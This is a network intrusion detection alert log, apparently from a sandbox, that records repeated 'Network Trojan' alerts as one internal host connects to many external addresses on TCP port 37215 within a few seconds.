2024-12-30T11:58:33.308371+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55002	156.45.243.143	37215	TCP
2024-12-30T11:58:33.308398+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37298	156.149.165.219	37215	TCP
2024-12-30T11:58:33.308471+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38466	156.154.52.203	37215	TCP
2024-12-30T11:58:33.308734+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56802	41.92.28.226	37215	TCP
2024-12-30T11:58:33.308797+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49318	41.177.76.91	37215	TCP
2024-12-30T11:58:33.308834+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46068	197.54.249.204	37215	TCP
2024-12-30T11:58:33.308933+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53398	156.210.252.2	37215	TCP
2024-12-30T11:58:33.309018+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57954	197.25.188.200	37215	TCP
2024-12-30T11:58:33.309071+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33618	197.240.89.164	37215	TCP
2024-12-30T11:58:33.309130+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38262	41.149.85.49	37215	TCP
2024-12-30T11:58:33.309190+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45166	197.185.69.178	37215	TCP
2024-12-30T11:58:33.309466+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55306	197.81.139.237	37215	TCP
2024-12-30T11:58:33.309593+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43840	156.222.241.235	37215	TCP
2024-12-30T11:58:33.309834+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38210	156.38.138.118	37215	TCP
2024-12-30T11:58:33.309933+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59608	41.11.243.69	37215	TCP
2024-12-30T11:58:33.309997+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47632	156.41.81.18	37215	TCP
2024-12-30T11:58:33.310068+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40882	156.164.58.75	37215	TCP
2024-12-30T11:58:33.310148+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60474	41.146.12.227	37215	TCP
2024-12-30T11:58:33.310995+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42300	197.2.232.201	37215	TCP
2024-12-30T11:58:33.311081+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56258	156.176.132.126	37215	TCP
2024-12-30T11:58:33.311084+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45926	41.106.254.125	37215	TCP
2024-12-30T11:58:33.311260+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56736	197.160.247.104	37215	TCP
2024-12-30T11:58:33.311727+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49624	156.90.223.166	37215	TCP
2024-12-30T11:58:33.311900+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36472	41.221.219.170	37215	TCP
2024-12-30T11:58:33.312451+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51218	156.126.95.206	37215	TCP
2024-12-30T11:58:33.313134+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36426	197.92.59.248	37215	TCP
2024-12-30T11:58:33.313465+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33034	41.60.254.232	37215	TCP
2024-12-30T11:58:33.314049+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48902	41.143.227.24	37215	TCP
2024-12-30T11:58:33.314121+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47628	197.187.166.49	37215	TCP
2024-12-30T11:58:34.190850+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60270	41.34.19.210	37215	TCP
2024-12-30T11:58:34.322321+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55924	197.64.116.30	37215	TCP
2024-12-30T11:58:34.322331+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34516	156.113.80.31	37215	TCP
2024-12-30T11:58:34.322575+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60592	156.13.68.77	37215	TCP
2024-12-30T11:58:34.322634+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45632	41.62.125.56	37215	TCP
2024-12-30T11:58:34.322684+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49630	156.153.64.61	37215	TCP
2024-12-30T11:58:34.322731+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45700	197.15.134.48	37215	TCP
2024-12-30T11:58:34.322809+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44954	41.89.93.238	37215	TCP
2024-12-30T11:58:34.322901+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43242	197.173.173.246	37215	TCP
2024-12-30T11:58:34.322934+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48844	197.19.198.97	37215	TCP
2024-12-30T11:58:34.322996+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34588	197.235.56.4	37215	TCP
2024-12-30T11:58:34.323149+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39066	197.77.123.95	37215	TCP
2024-12-30T11:58:34.324296+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36306	156.106.233.154	37215	TCP
2024-12-30T11:58:34.324458+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46804	197.69.163.155	37215	TCP
2024-12-30T11:58:34.324548+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35710	41.90.214.101	37215	TCP
2024-12-30T11:58:34.324646+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48862	197.218.0.81	37215	TCP
2024-12-30T11:58:34.324944+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32900	41.213.41.74	37215	TCP
2024-12-30T11:58:34.337812+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52628	156.7.46.234	37215	TCP
2024-12-30T11:58:34.338288+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49242	41.50.219.153	37215	TCP
2024-12-30T11:58:34.338390+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49636	197.165.15.60	37215	TCP
2024-12-30T11:58:34.338483+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42338	156.124.74.71	37215	TCP
2024-12-30T11:58:34.338509+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40502	156.27.11.136	37215	TCP
2024-12-30T11:58:34.338588+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45510	197.144.53.206	37215	TCP
2024-12-30T11:58:34.338640+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35294	197.19.202.31	37215	TCP
2024-12-30T11:58:34.338760+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58722	156.235.162.94	37215	TCP
2024-12-30T11:58:34.338825+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38900	156.198.249.66	37215	TCP
2024-12-30T11:58:34.339254+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39198	41.67.222.98	37215	TCP
2024-12-30T11:58:34.339339+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41840	197.109.65.167	37215	TCP
2024-12-30T11:58:34.339942+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42926	197.69.193.230	37215	TCP
2024-12-30T11:58:34.340061+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37752	41.236.110.200	37215	TCP
2024-12-30T11:58:34.340433+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33288	197.251.95.164	37215	TCP
2024-12-30T11:58:34.340475+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37454	156.155.33.244	37215	TCP
2024-12-30T11:58:34.342327+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48798	41.218.106.229	37215	TCP
2024-12-30T11:58:34.342446+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51216	197.39.230.71	37215	TCP
2024-12-30T11:58:34.343112+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51076	156.10.13.115	37215	TCP
2024-12-30T11:58:34.343196+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43452	197.18.39.194	37215	TCP
2024-12-30T11:58:34.343204+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55636	197.250.211.196	37215	TCP
2024-12-30T11:58:34.343756+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53804	197.32.93.1	37215	TCP
2024-12-30T11:58:34.343919+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40432	197.64.20.209	37215	TCP
2024-12-30T11:58:34.418415+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60408	156.164.215.79	37215	TCP
2024-12-30T11:58:34.422096+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45810	156.157.129.119	37215	TCP
2024-12-30T11:58:35.387230+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43174	156.115.229.100	37215	TCP
2024-12-30T11:58:35.387261+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51422	41.26.165.195	37215	TCP
2024-12-30T11:58:35.390813+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54338	41.81.140.90	37215	TCP
2024-12-30T11:58:35.422387+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37776	41.42.18.195	37215	TCP
2024-12-30T11:58:36.369803+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52902	156.232.111.124	37215	TCP
2024-12-30T11:58:36.369805+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53316	156.184.135.184	37215	TCP
2024-12-30T11:58:36.369941+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42144	197.207.188.130	37215	TCP
2024-12-30T11:58:36.369945+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59922	197.36.42.38	37215	TCP
2024-12-30T11:58:36.370511+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41800	197.16.249.219	37215	TCP
2024-12-30T11:58:36.371339+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44088	41.140.124.59	37215	TCP
2024-12-30T11:58:36.371474+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38662	197.98.225.122	37215	TCP
2024-12-30T11:58:36.371560+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44750	156.136.43.250	37215	TCP
2024-12-30T11:58:36.371641+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59562	156.200.197.140	37215	TCP
2024-12-30T11:58:36.371903+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50924	41.180.49.236	37215	TCP
2024-12-30T11:58:36.372002+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35222	156.100.80.106	37215	TCP
2024-12-30T11:58:36.373453+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54418	156.13.84.178	37215	TCP
2024-12-30T11:58:36.373847+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45330	197.17.1.56	37215	TCP
2024-12-30T11:58:36.384742+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35040	41.227.170.47	37215	TCP
2024-12-30T11:58:36.384792+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49144	156.57.243.107	37215	TCP
2024-12-30T11:58:36.385173+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38876	197.174.76.207	37215	TCP
2024-12-30T11:58:36.385291+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40198	197.1.22.107	37215	TCP
2024-12-30T11:58:36.385352+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59758	197.200.55.247	37215	TCP
2024-12-30T11:58:36.385458+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34870	197.244.249.122	37215	TCP
2024-12-30T11:58:36.385667+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60500	197.19.3.249	37215	TCP
2024-12-30T11:58:36.385709+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44044	197.15.54.40	37215	TCP
2024-12-30T11:58:36.385814+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52110	197.15.179.183	37215	TCP
2024-12-30T11:58:36.386372+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40042	197.52.4.59	37215	TCP
2024-12-30T11:58:36.386936+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50532	41.153.137.228	37215	TCP
2024-12-30T11:58:36.386943+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55654	197.36.158.71	37215	TCP
2024-12-30T11:58:36.387141+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60674	41.173.187.248	37215	TCP
2024-12-30T11:58:36.387328+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45646	41.243.254.225	37215	TCP
2024-12-30T11:58:36.387405+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53994	197.130.217.200	37215	TCP
2024-12-30T11:58:36.387678+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59780	156.97.78.132	37215	TCP
2024-12-30T11:58:36.388928+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52554	41.227.24.2	37215	TCP
2024-12-30T11:58:36.389319+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50880	197.196.96.67	37215	TCP
2024-12-30T11:58:36.389379+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47934	41.222.118.20	37215	TCP
2024-12-30T11:58:36.389420+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44906	156.238.46.79	37215	TCP
2024-12-30T11:58:36.389494+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58184	197.236.84.30	37215	TCP
2024-12-30T11:58:36.389806+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33626	156.89.229.196	37215	TCP
2024-12-30T11:58:36.389831+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50890	41.48.59.9	37215	TCP
2024-12-30T11:58:36.390834+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47536	197.173.158.252	37215	TCP
2024-12-30T11:58:36.434273+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46606	41.234.119.105	37215	TCP
2024-12-30T11:58:36.447994+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51234	197.86.238.208	37215	TCP
2024-12-30T11:58:37.385684+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59880	41.19.142.244	37215	TCP
2024-12-30T11:58:37.385699+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53818	156.63.212.134	37215	TCP
2024-12-30T11:58:37.385699+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39680	156.134.20.212	37215	TCP
2024-12-30T11:58:37.386841+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55254	197.185.106.187	37215	TCP
2024-12-30T11:58:37.416685+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55486	41.175.235.107	37215	TCP
2024-12-30T11:58:37.418443+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54496	197.244.197.40	37215	TCP
2024-12-30T11:58:37.432954+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54324	41.158.69.235	37215	TCP
2024-12-30T11:58:37.434350+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34640	156.31.225.230	37215	TCP
2024-12-30T11:58:37.449246+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51174	197.216.50.210	37215	TCP
2024-12-30T11:58:37.480087+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34296	156.0.77.16	37215	TCP
2024-12-30T11:58:38.137412+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41244	156.228.170.224	37215	TCP
2024-12-30T11:58:38.401441+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33000	197.167.74.236	37215	TCP
2024-12-30T11:58:38.402549+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50484	41.253.157.56	37215	TCP
2024-12-30T11:58:38.416698+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36950	197.133.23.8	37215	TCP
2024-12-30T11:58:38.416704+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36236	197.213.6.201	37215	TCP
2024-12-30T11:58:38.416704+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35160	41.82.164.24	37215	TCP
2024-12-30T11:58:38.416801+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49308	41.54.241.43	37215	TCP
2024-12-30T11:58:38.416838+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35466	41.196.183.126	37215	TCP
2024-12-30T11:58:38.416929+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60480	197.131.92.40	37215	TCP
2024-12-30T11:58:38.416994+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49608	197.181.210.215	37215	TCP
2024-12-30T11:58:38.417053+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47842	41.112.222.7	37215	TCP
2024-12-30T11:58:38.417340+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37342	197.158.93.77	37215	TCP
2024-12-30T11:58:38.417414+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48632	41.14.243.203	37215	TCP
2024-12-30T11:58:38.417530+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57868	41.143.121.147	37215	TCP
2024-12-30T11:58:38.418172+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51314	156.240.222.4	37215	TCP
2024-12-30T11:58:38.418471+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47088	197.211.237.26	37215	TCP
2024-12-30T11:58:38.418651+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60788	41.90.32.240	37215	TCP
2024-12-30T11:58:38.418688+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39902	197.188.207.108	37215	TCP
2024-12-30T11:58:38.418836+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48144	41.83.14.191	37215	TCP
2024-12-30T11:58:38.418836+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60370	156.215.234.177	37215	TCP
2024-12-30T11:58:38.418947+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35706	197.74.34.114	37215	TCP
2024-12-30T11:58:38.419030+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32854	156.121.201.145	37215	TCP
2024-12-30T11:58:38.419118+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58472	41.134.236.240	37215	TCP
2024-12-30T11:58:38.419289+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36170	156.18.212.206	37215	TCP
2024-12-30T11:58:38.420656+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51756	41.28.36.75	37215	TCP
2024-12-30T11:58:38.420699+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58268	156.202.34.48	37215	TCP
2024-12-30T11:58:38.420778+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55160	197.40.103.55	37215	TCP
2024-12-30T11:58:38.420846+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47210	156.209.232.60	37215	TCP
2024-12-30T11:58:38.421286+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53748	41.9.230.10	37215	TCP
2024-12-30T11:58:38.422266+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43246	156.149.76.222	37215	TCP
2024-12-30T11:58:38.423029+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43834	197.240.42.136	37215	TCP
2024-12-30T11:58:38.436152+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37774	41.24.62.196	37215	TCP
2024-12-30T11:58:38.436287+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47258	197.93.230.143	37215	TCP
2024-12-30T11:58:38.437718+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51932	156.74.171.147	37215	TCP
2024-12-30T11:58:38.437813+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51166	156.118.23.20	37215	TCP
2024-12-30T11:58:38.437883+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41948	41.71.20.238	37215	TCP
2024-12-30T11:58:38.437939+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55694	41.5.56.42	37215	TCP
2024-12-30T11:58:38.438015+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33626	41.142.156.141	37215	TCP
2024-12-30T11:58:38.482124+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50030	41.202.94.4	37215	TCP
2024-12-30T11:58:38.634927+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51866	156.130.162.245	37215	TCP
2024-12-30T11:58:38.634928+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58364	41.244.87.60	37215	TCP
2024-12-30T11:58:38.651035+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48940	197.42.161.237	37215	TCP
2024-12-30T11:58:38.651053+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41914	197.82.222.171	37215	TCP
2024-12-30T11:58:38.652652+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50940	41.224.109.92	37215	TCP
2024-12-30T11:58:38.652667+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33348	41.219.67.69	37215	TCP
2024-12-30T11:58:38.682540+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35764	156.21.236.254	37215	TCP
2024-12-30T11:58:38.688483+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35870	197.178.15.159	37215	TCP
2024-12-30T11:58:39.453783+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50912	41.160.145.203	37215	TCP
2024-12-30T11:58:39.481019+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34862	156.159.161.64	37215	TCP
2024-12-30T11:58:39.481031+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35520	156.50.40.162	37215	TCP
2024-12-30T11:58:39.498565+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54318	197.216.247.46	37215	TCP
2024-12-30T11:58:39.516110+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60336	41.216.116.146	37215	TCP
2024-12-30T11:58:39.527748+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36396	197.116.186.124	37215	TCP
2024-12-30T11:58:39.529624+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42470	156.135.67.213	37215	TCP
2024-12-30T11:58:40.525614+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59906	41.60.140.142	37215	TCP
2024-12-30T11:58:40.526562+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34660	156.197.57.163	37215	TCP
2024-12-30T11:58:40.527558+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58382	197.2.38.14	37215	TCP
2024-12-30T11:58:40.529769+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39036	197.194.136.42	37215	TCP
2024-12-30T11:58:41.158634+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40480	156.253.150.10	37215	TCP
2024-12-30T11:58:41.197559+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37564	156.224.11.50	37215	TCP
2024-12-30T11:58:41.476364+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52760	156.231.148.144	37215	TCP
2024-12-30T11:58:41.494932+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55752	41.54.98.187	37215	TCP
2024-12-30T11:58:41.494932+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38866	197.60.117.93	37215	TCP
2024-12-30T11:58:41.494980+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58402	197.140.70.84	37215	TCP
2024-12-30T11:58:41.495020+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35004	156.61.233.21	37215	TCP
2024-12-30T11:58:41.495028+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38220	197.10.58.74	37215	TCP
2024-12-30T11:58:41.495029+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46918	156.155.161.7	37215	TCP
2024-12-30T11:58:41.495386+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55290	197.239.236.224	37215	TCP
2024-12-30T11:58:41.496486+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56526	156.154.29.108	37215	TCP
2024-12-30T11:58:41.496623+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36860	197.57.252.245	37215	TCP
2024-12-30T11:58:41.498515+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41784	41.54.121.171	37215	TCP
2024-12-30T11:58:41.498946+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58188	197.77.224.158	37215	TCP
2024-12-30T11:58:41.510287+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48810	156.0.82.119	37215	TCP
2024-12-30T11:58:41.510299+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39210	156.224.254.168	37215	TCP
2024-12-30T11:58:41.510378+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59692	156.58.99.38	37215	TCP
2024-12-30T11:58:41.510440+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36664	41.248.46.233	37215	TCP
2024-12-30T11:58:41.510640+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47304	41.4.255.173	37215	TCP
2024-12-30T11:58:41.510904+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55334	41.131.59.7	37215	TCP
2024-12-30T11:58:41.512059+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34298	156.24.45.252	37215	TCP
2024-12-30T11:58:41.512120+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53060	41.180.9.3	37215	TCP
2024-12-30T11:58:41.512628+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50296	41.0.71.233	37215	TCP
2024-12-30T11:58:41.516112+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47192	41.85.96.113	37215	TCP
2024-12-30T11:58:41.516124+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35056	156.49.99.121	37215	TCP
2024-12-30T11:58:41.516262+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49368	156.234.140.85	37215	TCP
2024-12-30T11:58:41.541965+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47242	197.182.175.117	37215	TCP
2024-12-30T11:58:41.541966+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43828	41.19.215.50	37215	TCP
2024-12-30T11:58:41.547197+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59814	41.106.6.96	37215	TCP
2024-12-30T11:58:42.270830+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54146	41.71.167.228	37215	TCP
2024-12-30T11:58:42.494383+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52386	156.122.132.254	37215	TCP
2024-12-30T11:58:42.509990+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34820	197.117.153.92	37215	TCP
2024-12-30T11:58:42.509991+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42142	156.123.135.9	37215	TCP
2024-12-30T11:58:42.510071+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42726	156.139.14.80	37215	TCP
2024-12-30T11:58:42.510273+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57634	41.140.96.91	37215	TCP
2024-12-30T11:58:42.510413+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48690	156.122.243.24	37215	TCP
2024-12-30T11:58:42.510442+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39138	41.131.193.67	37215	TCP
2024-12-30T11:58:42.510516+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48808	41.61.112.248	37215	TCP
2024-12-30T11:58:42.510611+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59476	197.66.143.207	37215	TCP
2024-12-30T11:58:42.510681+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42766	156.100.235.44	37215	TCP
2024-12-30T11:58:42.511061+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59688	41.21.34.204	37215	TCP
2024-12-30T11:58:42.511061+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50506	41.132.132.18	37215	TCP
2024-12-30T11:58:42.511140+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39820	156.234.51.240	37215	TCP
2024-12-30T11:58:42.511333+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58402	156.75.113.23	37215	TCP
2024-12-30T11:58:42.511678+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45094	41.83.251.254	37215	TCP
2024-12-30T11:58:42.511689+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49992	41.120.48.84	37215	TCP
2024-12-30T11:58:42.512039+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47114	41.111.55.230	37215	TCP
2024-12-30T11:58:42.512058+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43046	156.38.77.12	37215	TCP
2024-12-30T11:58:42.512396+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43954	41.64.242.175	37215	TCP
2024-12-30T11:58:42.512484+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60374	197.97.131.117	37215	TCP
2024-12-30T11:58:42.512952+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48552	197.149.70.174	37215	TCP
2024-12-30T11:58:42.512970+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44848	197.84.80.28	37215	TCP
2024-12-30T11:58:42.514117+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33256	41.225.143.166	37215	TCP
2024-12-30T11:58:42.525646+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49762	156.145.117.203	37215	TCP
2024-12-30T11:58:42.525840+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47912	197.25.124.224	37215	TCP
2024-12-30T11:58:42.526677+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33048	41.213.47.41	37215	TCP
2024-12-30T11:58:42.526909+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52614	156.139.73.124	37215	TCP
2024-12-30T11:58:42.527771+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44448	156.31.208.162	37215	TCP
2024-12-30T11:58:42.527851+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54358	41.113.225.194	37215	TCP
2024-12-30T11:58:42.529775+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55882	197.191.143.51	37215	TCP
